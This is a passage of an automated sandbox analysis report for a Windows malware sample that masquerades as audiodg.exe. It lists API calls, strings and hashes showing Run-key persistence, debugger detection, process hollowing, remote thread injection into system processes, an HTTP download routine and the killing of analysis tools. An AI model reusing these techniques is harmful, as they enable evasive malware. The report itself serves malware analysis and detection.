Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction ID: 6ea468d678e7add0865a8914247cd723da43680328c10c27f0bb5dac100f6c8e
Opcode Fuzzy Hash: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction Fuzzy Hash: C511217662DA80D6DB91BB14F444A6A77A0FB847A0F505231F9AE83BA8DF7CD144DB00

Function 00007FF64C371088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF64C371098
GetProcAddress.KERNEL32 ref: 00007FF64C3710A8

Strings

kernel32, xrefs: 00007FF64C371091
GetThreadId, xrefs: 00007FF64C37109E

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction ID: c904a9120c72fcec37c019802e00a39c1ef685681b52078a73964546bdd3909c
Opcode Fuzzy Hash: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction Fuzzy Hash: BDE01B2590E987C1EA55BF10F4487A573A0FB84744F504132D58E82764DF3CD549DB00

Function 00007FF64C372F38 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64C3738D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373919
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C37392E
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373941
Part of subcall function 00007FF64C3738D0: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373951
Part of subcall function 00007FF64C3738D0: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373964
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C373979
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C37398C
Part of subcall function 00007FF64C3738D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF64C373AB5), ref: 00007FF64C3739A1

Part of subcall function 00007FF64C374570: CreateFileW.KERNEL32 ref: 00007FF64C3745B7

Part of subcall function 00007FF64C3710D8: OpenProcess.KERNEL32 ref: 00007FF64C3710FC

GetProcessHeap.KERNEL32 ref: 00007FF64C372FD3
HeapFree.KERNEL32 ref: 00007FF64C372FE6

Strings

chFrWWdQWsLFevUr, xrefs: 00007FF64C372F77
.x64, xrefs: 00007FF64C372F8A

Memory Dump Source

Source File: 0000000C.00000002.2854686491.00007FF64C371000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF64C370000, based on PE: true

Associated: 0000000C.00000002.2854648799.00007FF64C370000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854764830.00007FF64C375000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854840548.00007FF64C378000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2854950385.00007FF64C379000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000C.00000002.2855037014.00007FF64C37B000.00000008.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff64c370000_232B06DEE822786254513.jbxd

Similarity

API ID: lstrcat$CreateFileHeapProcess$AttributesDirectoryFolderFreeOpenPath
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 1115570603-2286007224
Opcode ID: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction ID: 7e61dfd9265a14fccb8466f71f1788ecffde19b40a0d7812ea41d9bf5e775086
Opcode Fuzzy Hash: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction Fuzzy Hash: CC11FA71A1EA82D1E752FB10F859BA673A0FB88704F408137D54CE2765DF7CE059AB41

Analysis Process: audiodg.exePID: 4248, Parent PID: 5276COMMON

Execution Graph

Execution Coverage:	23.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	485
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7A91B3468 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A91B31B8: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF7A91B3479), ref: 00007FF7A91B31BC

ExitProcess.KERNEL32 ref: 00007FF7A91B3482
ExitProcess.KERNEL32 ref: 00007FF7A91B34E0

Strings

worker_FDhvwc, xrefs: 00007FF7A91B35D9
audiodg.exe, xrefs: 00007FF7A91B3558
worker_BAccdq, xrefs: 00007FF7A91B351C
msiexec.exe, xrefs: 00007FF7A91B3507
worker_kBEqZh, xrefs: 00007FF7A91B356D
worker_RdDwvE, xrefs: 00007FF7A91B34CB
svchost.exe, xrefs: 00007FF7A91B34A3

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: b1fe4ee10919eb5434293c86db5d4291490e58cccabcb8de8b1645f35de8276b
Instruction ID: eff6807c854dd56f516db84507ad18e8dfc01842d78b409c619e3a12d32ac28d
Opcode Fuzzy Hash: b1fe4ee10919eb5434293c86db5d4291490e58cccabcb8de8b1645f35de8276b
Instruction Fuzzy Hash: 1B612920A1FA4395FA66BF25F85527AA272EF40740FC20175E54ECA1F5DE3DE43A8630

Function 00007FF7A91B40F0 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B348D), ref: 00007FF7A91B40F4
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B348D), ref: 00007FF7A91B4107
GetTokenInformation.KERNELBASE ref: 00007FF7A91B4138
GetTokenInformation.KERNELBASE ref: 00007FF7A91B416A
CloseHandle.KERNEL32 ref: 00007FF7A91B4179

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction ID: e09a43e577b8096975b81a6942ae139e1d327544ae709441937b1cb91d2ce540
Opcode Fuzzy Hash: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction Fuzzy Hash: 0E311336A1EA8186E751EF09F45062AF7B1FBC4B80F814031FA8A87B68CF3CD4118B10

Function 00007FF7A91B31B8 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF7A91B3479), ref: 00007FF7A91B31BC
GetCurrentProcess.KERNEL32 ref: 00007FF7A91B31D2
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF7A91B31E0

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction ID: 9e0564dfe20bb4f7a2d2bbd312648eb1e58473e50cff83ecccd8a7b3156993c9
Opcode Fuzzy Hash: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction Fuzzy Hash: F9F0301190F18281E6327F14F404339D7B2FB45B44F9601B4D19E895B4CF2CD52A8B25

Function 00007FF7A91B4230 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF7A91B4245
GetLastError.KERNEL32 ref: 00007FF7A91B425C
CloseHandle.KERNEL32 ref: 00007FF7A91B426E

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 1cf4e2918870ecbf2b3a74783830b38e976b81dae19e632498ac4ce3c0eb4176
Instruction ID: bd40259b48a3a459f9793780182b371c3a3e9b323edf3bc79ae1e1176ec24e38
Opcode Fuzzy Hash: 1cf4e2918870ecbf2b3a74783830b38e976b81dae19e632498ac4ce3c0eb4176
Instruction Fuzzy Hash: 5FF03025A0D641C2EA61AF10F40437DA371FB96700F9145B4D58E826B4CF2DD825A720

Function 00007FF7A91B14EC Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF7A91B14FF
GetProcAddress.KERNEL32 ref: 00007FF7A91B1514

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction ID: e77d2a6769bd8890c8dbfddd4bc2629b34fcd113d113db01caf7cba5da2138ad
Opcode Fuzzy Hash: 3de293353023ce7eaf1012c377f6a933be5880676eb30226596abc0cfb8adc53
Instruction Fuzzy Hash: 37E07E76509A8086C620AB15F84001AB7B4FB88B94F904225EACD82B38CF3CC1658B00

Function 00007FF7A91B3B30 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF7A91B3B4E

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction ID: 21dd5fed84312c9d6d7c4c90cb53bf5f3f582d72705038921d6c8f1ea3c7b247
Opcode Fuzzy Hash: 4b462866a68ef945608e70b48320bdff337310a325796390ca19b9d3342df2bc
Instruction Fuzzy Hash: 09D0C711E3694181E655AB16E4957159261FBC4744F818035E58941564CE3CC0A98B00

Non-executed Functions

Function 00007FF7A91B24D8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7A91B253D

Strings

NtUnmapViewOfSection, xrefs: 00007FF7A91B283E
@, xrefs: 00007FF7A91B28B9
.reloc, xrefs: 00007FF7A91B2ADF
ntdll, xrefs: 00007FF7A91B2829

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction ID: d01a71713f244d6cc1f5013fd8afeb6132f604c06f8c5e32ab18e5575e1b6138
Opcode Fuzzy Hash: f5496b8d99a8c7caf0c0b55a9ab1f5a682755c9565fbd9300fe4f75c1206b34a
Instruction Fuzzy Hash: 33320832609AC186E771DF16F8547AAB3B1FB98B80F814535DA8E87B68DF3CD4548B10

Function 00007FF7A91B10D8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF7A91B10FC

Strings

@, xrefs: 00007FF7A91B1215
, xrefs: 00007FF7A91B11C5
ntdll, xrefs: 00007FF7A91B12FE
RtlCreateUserThread, xrefs: 00007FF7A91B130B

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: OpenProcess
String ID: $@$RtlCreateUserThread$ntdll
API String ID: 3743895883-721857904
Opcode ID: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction ID: c1c48fe89db45404d625530640e8d920b580141ce3325aef19a8857b05a662f9
Opcode Fuzzy Hash: f6177f26ecfa6db8765b7d7ab30776b26dd5ef2a04f7b13f717e068dc597f609
Instruction Fuzzy Hash: F5710932A0DA8186E761AF15F48436AB3B2FB84794F924135D68DC2BB8DF7CD494CB50

Function 00007FF7A91B216C Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF7A91B21B0
Sleep.KERNEL32 ref: 00007FF7A91B21C8
InternetOpenUrlW.WININET ref: 00007FF7A91B21F4
InternetOpenUrlW.WININET ref: 00007FF7A91B222B
InternetCloseHandle.WININET ref: 00007FF7A91B2243
Sleep.KERNEL32 ref: 00007FF7A91B224E
HttpQueryInfoA.WININET ref: 00007FF7A91B227E
InternetCloseHandle.WININET ref: 00007FF7A91B228D
InternetCloseHandle.WININET ref: 00007FF7A91B2298
Sleep.KERNEL32 ref: 00007FF7A91B22A3
InternetCloseHandle.WININET ref: 00007FF7A91B22BD
InternetOpenUrlW.WININET ref: 00007FF7A91B22E7
InternetCloseHandle.WININET ref: 00007FF7A91B22FF
Sleep.KERNEL32 ref: 00007FF7A91B230A
HttpQueryInfoA.WININET ref: 00007FF7A91B2342
GetProcessHeap.KERNEL32 ref: 00007FF7A91B2351
RtlAllocateHeap.NTDLL ref: 00007FF7A91B2367
InternetCloseHandle.WININET ref: 00007FF7A91B237F
InternetCloseHandle.WININET ref: 00007FF7A91B238A
InternetReadFile.WININET ref: 00007FF7A91B23C7
InternetCloseHandle.WININET ref: 00007FF7A91B23FD
InternetCloseHandle.WININET ref: 00007FF7A91B2408

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3, xrefs: 00007FF7A91B21A9

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: Internet$CloseHandle$OpenSleep$HeapHttpInfoQuery$AllocateFileProcessRead
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
API String ID: 2307068205-2771526726
Opcode ID: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction ID: 73d615f3b3e379896e32187ee7fdb8b0d508f0632c445390c245073bf435d7cf
Opcode Fuzzy Hash: 13638dc1b1c5aae3aed83746edefc4c73050562fd4d9e98bbe27450033a219e6
Instruction Fuzzy Hash: F871173261AA8186E751AF54F49432EF7B1FBC4B95F910035EA8A87A78CF7CD458CB10

Function 00007FF7A91B4570 Relevance: 25.7, APIs: 17, Instructions: 155
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF7A91B45B7
GetFileSize.KERNEL32 ref: 00007FF7A91B45D8
GetProcessHeap.KERNEL32 ref: 00007FF7A91B45EE
RtlAllocateHeap.NTDLL ref: 00007FF7A91B4607
CloseHandle.KERNEL32 ref: 00007FF7A91B461F

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction ID: b9c675ab5879a6398d01999589c7648688c6ba176ec4e272118d9d308f8056c2
Opcode Fuzzy Hash: 281709a38610f6278202128174565b7605c8e1cf19e78cd386e0a5044a6a1a24
Instruction Fuzzy Hash: 85811732609B8186EA50DF59F48436AE7A1FBC8B91F514135DA8D87BB8DF3CD4548B10

Function 00007FF7A91B3078 Relevance: 16.5, APIs: 1, Strings: 10, Instructions: 45
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7A91B4450: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B30B3), ref: 00007FF7A91B4498
Part of subcall function 00007FF7A91B4450: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B30B3), ref: 00007FF7A91B44D5
Part of subcall function 00007FF7A91B4450: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B30B3), ref: 00007FF7A91B44E0

Part of subcall function 00007FF7A91B3B90: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7A91B30B8), ref: 00007FF7A91B3BD3
Part of subcall function 00007FF7A91B3B90: RegSetValueExW.ADVAPI32 ref: 00007FF7A91B3C09
Part of subcall function 00007FF7A91B3B90: RegCloseKey.ADVAPI32 ref: 00007FF7A91B3C18

Part of subcall function 00007FF7A91B3C30: RegDeleteKeyW.ADVAPI32 ref: 00007FF7A91B3C48

Part of subcall function 00007FF7A91B3E30: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7A91B3E43

Part of subcall function 00007FF7A91B3E30: Process32FirstW.KERNEL32 ref: 00007FF7A91B3E76
Part of subcall function 00007FF7A91B3E30: CloseHandle.KERNEL32 ref: 00007FF7A91B3E88

Part of subcall function 00007FF7A91B3E30: wcscmp.MSVCRT ref: 00007FF7A91B3E9D
Part of subcall function 00007FF7A91B3E30: OpenProcess.KERNEL32 ref: 00007FF7A91B3EB3
Part of subcall function 00007FF7A91B3E30: TerminateProcess.KERNEL32 ref: 00007FF7A91B3ED6
Part of subcall function 00007FF7A91B3E30: CloseHandle.KERNEL32 ref: 00007FF7A91B3EE4
Part of subcall function 00007FF7A91B3E30: Process32NextW.KERNEL32 ref: 00007FF7A91B3EF7
Part of subcall function 00007FF7A91B3E30: CloseHandle.KERNEL32 ref: 00007FF7A91B3F09

Part of subcall function 00007FF7A91B39C0: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF7A91B3B18), ref: 00007FF7A91B39F0

Sleep.KERNEL32 ref: 00007FF7A91B3162

Strings

TOTALCMD.exe, xrefs: 00007FF7A91B3102
idaq.exe, xrefs: 00007FF7A91B3126
procmon.exe, xrefs: 00007FF7A91B313E
procexp64.exe, xrefs: 00007FF7A91B30F6
autoruns.exe, xrefs: 00007FF7A91B3132
x64dbg.exe, xrefs: 00007FF7A91B310E
Services, xrefs: 00007FF7A91B3151
procexp.exe, xrefs: 00007FF7A91B30EA
ProcessHacker.exe, xrefs: 00007FF7A91B30DE
idaq64.exe, xrefs: 00007FF7A91B311A

Memory Dump Source

Source File: 0000000D.00000002.2854511938.00007FF7A91B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7A91B0000, based on PE: true

Associated: 0000000D.00000002.2854439562.00007FF7A91B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854544079.00007FF7A91B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854589767.00007FF7A91B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854636779.00007FF7A91B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2854685073.00007FF7A91BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7a91b0000_audiodg.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
Instruction ID: b5e1a907200a48cb370e9a646a44a5b32ac973312e80d9f4a01e4400c3eba52e
Opcode Fuzzy Hash: 279fda33ac18d26a8aa4f036a6ea5727a47bf55fa1b9fed43bc03c8fe3f26106
